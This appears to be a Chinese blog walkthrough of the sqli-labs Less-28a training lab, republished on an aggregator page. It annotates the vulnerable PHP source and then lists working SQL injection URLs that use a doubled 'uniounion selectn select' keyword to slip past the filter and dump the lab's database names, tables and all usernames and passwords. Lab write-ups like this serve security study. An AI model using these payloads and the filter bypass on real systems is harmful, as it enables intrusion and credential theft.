当前位置: 首页 > news >正文

sqli-labs通关笔记-第28a关GET字符注入(关键字过滤绕过 手注法)

目录

一、源码分析

1、代码审计

2、SQL安全性分析

二、联合注入法渗透实战

1、进入靶场

2、获取列数

(1)order by 5 --+

(2)order by 3--+

3、探测回显位

4、获取数据库名

5、获取表名

6、获取列名

7、获取用户名密码


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第28a关Less 28a基于GET字符型的SQL注入关卡进行渗透实战,与28关的区别是过滤信息不同,该关卡同样过滤关键字select union防止SQL注入攻击。

一、源码分析

1、代码审计

本关卡Less28a是基于GET字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less28a关卡功能是简单基于id的查询页面,相对于28关区别只是过滤信息不同以及不打印报错信息,对比如下所示。

详细注释后的代码如下所示。

<?php
// 包含MySQL连接参数文件
include("../sql-connections/sqli-connect.php");// 从URL参数获取用户输入的ID
if(isset($_GET['id']))
{$id = $_GET['id'];// 记录用户输入到日志文件(用于分析注入尝试)$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);// 对用户输入进行黑名单过滤(存在严重安全风险,见下文分析)$id = blacklist($id);// 保存过滤后的输入用于页面提示$hint = $id;// 构建SQL查询语句(危险:直接拼接用户输入)// 注意:ID被括号包围,但未进行正确转义$sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";// 执行SQL查询$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);// 输出查询结果if($row){echo "<font size='5' color= '#99FF00'>";    echo 'Your Login name:' . $row['username'];echo "<br>";echo 'Your Password:' . $row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';// 注释掉错误信息输出(防止泄露数据库信息)//print_r(mysqli_error($con1));echo "</font>";  }
}
else { echo "Please input the ID as parameter with numeric value"; }// 黑名单过滤函数(存在严重安全风险)
function blacklist($id)
{//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*//$id= preg_replace('/[--]/',"", $id);				    //Strip out --.//$id= preg_replace('/[#]/',"", $id);					//Strip out #.//$id= preg_replace('/[ +]/',"", $id);	    		    //Strip out spaces.//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.//$id= preg_replace('/[ +]/',"", $id);	    		    //Strip out spaces.// 移除union和select之间的空格组合(大小写不敏感)// 示例:"UNION SELECT"会被过滤,但"uniounion selectn select"过滤后仍是union select$id = preg_replace('/union\s+select/i', "", $id);return $id;
}
?>

本关卡实现了一个存在SQL注入风险的用户查询系统,功能如下所示。

  • 用户输入处理:从 URL 参数中获取用户输入的 ID 值,并尝试对其进行黑名单过滤,移除可能用于 SQL 注入的字符和关键词。
  • 日志记录:将用户输入的 ID 记录到 result.txt 文件中,用于后续分析。
  • SQL 查询:构建 SQL 查询语句,查询 users 表中匹配 ID 的记录,并执行查询。使用括号包裹 ID 值(id=('$id')),闭合方式为单引号括号。
  • 结果展示:如果查询到结果,显示用户的用户名和密码;如果没有查询到结果,则不显示数据库的具体报错信息(故而无法使用报错法渗透)。
  • 提示信息:页面底部显示经过过滤后的用户输入,作为提示信息。

2、SQL安全性分析

由于本关卡并不打印数据库报错信息,故而和28关卡一样不可以使用报错法注入,本关卡只能使用联合注入法进行渗透。系统虽然通过preg_replace()函数进行了简单的关键字过滤,但仍可通过双写或者大小写绕过等方法绕过过滤机制,因此本关卡仍然存在SQL注入风险,攻击者可以构造特殊输入来绕过过滤并执行恶意SQL命令,从而获取数据库敏感信息。28关卡的过滤函数处理如下所示。

$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.

preg_replace 是 PHP 中用于执行正则表达式替换的函数,其大小写处理取决于正则表达式的 模式(pattern) 和 修饰符(modifiers)

preg_replace($pattern, $replacement, $subject);
  • $pattern:正则表达式模式,用斜杠(/)包围,可选后缀修饰符(如 /i/s),/i(大小写模式):如果模式中未使用 i 修饰符,preg_replace 会 严格区分大小写;添加 i 修饰符后,匹配将 不区分大小写。
  • $replacement:替换字符串。
  • $subject:目标字符串。

举例,模式中的字符大小写决定匹配规则,本关卡中,对select和union过滤如下所示,将 $id 中 连续出现的 union 和 select(中间有一个或多个空白字符)替换为空字符串。例如:故而本关卡实际上对select和union参数进行不区分大小写的过滤。

$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
  • /:正则表达式的定界符,表示正则表达式的开始和结束。
  • union:匹配字面字符串 "union"(不区分大小写,由最后的 i 修饰符控制)。
  • \s+:匹配一个或多个空白字符(包括空格、制表符、换行符等)。
    • \s 是空白字符的元字符,等价于 [ \t\n\r\f\v]
    • + 表示 “一次或多次”。
  • select:匹配字面字符串 "select"(同样不区分大小写)。
  • /i:修饰符 i 表示忽略大小写(case-insensitive)

这使得我们可通过双写绕过,即通过uniounion selectn select替换select union符号。 

'uniounion selectn select'替换'union select'

二、联合注入法渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page2,如下图红框所示。 

其中第28a关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less28a关卡,进入到靶场的第28a关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“ Hint: Your Input is Filtered with following result: ”,具体如下所示。

http://192.168.59.1/sqli-labs/Less-28

2、获取列数

(1)order by 5 --+

首先尝试5列,注入命令如下所示。

http://192.168.59.1/sqli-labs/Less-28/?id=-17777')union select(1),(2)||('1')=('7

如下所示没有提示用户名和密码,说明select字段数量不是5列。 

(2)order by 3--+

 接下来使用二分法尝试三列进行探测,注入命令如下所示。

http://192.168.59.1/sqli-labs/Less-28a/?id=1') order by 3--+

如下所示没有报错,输出用户名和密码说明select字段数量是3列。 

3、探测回显位

由于select共有3列,于是通过联合注入获取回显位的原始注入语句如下所示。

http://192.168.59.1/sqli-labs/Less-28a/?id=-17777')union select(1),(2),(3)--+

为绕过服务器,将uniounion selectn select替换select union后,修改后如下所示。  

http://192.168.59.1/sqli-labs/Less-28a/?id=-17777')uniounion selectn select(1),(2),(3)--+

如下所示,本关卡的回显位是第2位和第3位。 

4、获取数据库名

由于回显位是2和3,那么在第2个位置替换为database()函数,于是通过联合注入获取数据库名的原始注入语句如下所示。

http://192.168.59.1/sqli-labs/Less-28a/?id=-17777')union select(1),database(),(3)--+

为绕过服务器,将uniounion selectn select替换select union后,修改后如下所示。  

http://192.168.59.1/sqli-labs/Less-28a/?id=-17777')uniounion selectn select(1),database(),(3)--+

渗透成功,数据库名为security,如下图所示。 

5、获取表名

原始通过联合注入法获取数据库security所有表格名称的注入语句如下所示。

http://192.168.59.1/sqli-labs/Less-28a/?id=-17777')union select(1),group_concat(table_name),(3) from (information_schema.tables) where (table_schema= 'security')--+

为绕过服务器,将uniounion selectn select替换select union后,修改后如下所示。  

http://192.168.59.1/sqli-labs/Less-28a/?id=-17777')uniounion selectn select(1),group_concat(table_name),(3) from (information_schema.tables) where (table_schema= 'security')--+

渗透成功,数据库security的表名分别为emails,referers,uagents,users,如下图所示。 

6、获取列名

原始通过联合注入法获取users表的列名,注入语句如下所示。

http://192.168.59.1/sqli-labs/Less-28a/?id=-17777')union select(1),group_concat(column_name),(3) from (information_schema.columns) where (table_schema= 'security') and (table_name='users')--+

为绕过服务器,将uniounion selectn select替换select union后,修改后如下所示。  

http://192.168.59.1/sqli-labs/Less-28a/?id=-17777')uniounion selectn select(1),group_concat(column_name),(3) from (information_schema.columns) where (table_schema= 'security') and (table_name='users')--+

渗透成功,数据库security的users表的列名分别为id,username,password,如下图所示。 

7、获取用户名密码

原始通过联合注入法获取users表的列名,注入语句如下所示。

http://192.168.59.1/sqli-labs/Less-28a/?id=-17777')union select(1),group_concat(password,0x7e,username),(3) from(security.users) where (1=1)--+

为绕过服务器,将uniounion selectn select替换select union后,修改后如下所示。  

http://192.168.59.1/sqli-labs/Less-28a/?id=-17777')uniounion selectn select(1),group_concat(password,0x7e,username),(3) from(security.users) where (1=1)--+

渗透成功,数据库security的users表的用户名和密码内容如下所示。

Your Login name:Dumb~Dumb,I-kill-you~Angelina,p@ssword~Dummy,crappy~secure,stupidity~stupid,genious~superman,mob!le~batman,mooyuan123456~admin,admin1~admin1,admin2~admin2,admin3~admin3,dumbo~dhakkan,admin4~admin4,123456~admin'#mooyuan
Your Password:3

具体效果如下图所示,成功获取到users表的所有用户名和密码。 

http://www.dtcms.com/a/311622.html

相关文章:

  • USB Device(VID_1f3a_PID_efe8) 驱动叹号
  • ART数据库索引结构--ART,The adaptive radix tree论文细读
  • 基于落霞归雁思维框架的软件需求管理实践指南
  • 字节Seed发布扩散语言模型,推理速度达2146 tokens/s,比同规模自回归快5.4倍
  • 【C++/STL】vector的OJ,深度剖析和模拟实现
  • Java多线程入门-基础概念与线程操作
  • JVM 01 运行区域
  • 动态规划经典模型:双数组问题的通用解决框架与实战
  • C++ STL 组件及其关系:从模块化设计到图形化展示
  • SpringBoot AOP
  • CYUSB3014-BZXC-USB3.0接口芯片-富利威
  • python---literal_eval函数
  • Python管道编程解析:构建高效数据流处理框架
  • Redis从入门到实战
  • Effective C++ 条款18:让接口容易被正确使用,不易被误用
  • IOT物联网平台发布,可私有化部署
  • 算法刷题【面试经典150题】
  • 技巧|SwanLab记录PR曲线攻略
  • 【Unity3D实例-功能-移动】小兵移动-通过鼠标点击进行
  • 【微实验】弦振动 MATLAB 物理模型 动画仿真
  • 腕管综合征 : “鼠标手”| “数字时代工伤”,在我国视频终端工作者中患病率达12%到15%。“
  • web:js的模块导出/导入
  • 【编号413】“一带一路”25个港口城市及其周边区域海岸线分类数据
  • 译|Netflix 数据平台运营中基于机器学习自动修复系统
  • 【网络与爬虫 38】Apify全栈指南:从0到1构建企业级自动化爬虫平台
  • 【Android】使用 Intent 传递对象的两种序列化方式
  • RPG增容2.尝试使用MMC根据游戏难度自定义更改怪物属性(三)
  • 推荐系统学习笔记(六)自监督学习
  • 【语音技术】意图与语料
  • gcc-arm-none-eabi安装后,找不到libgcc.a的拉置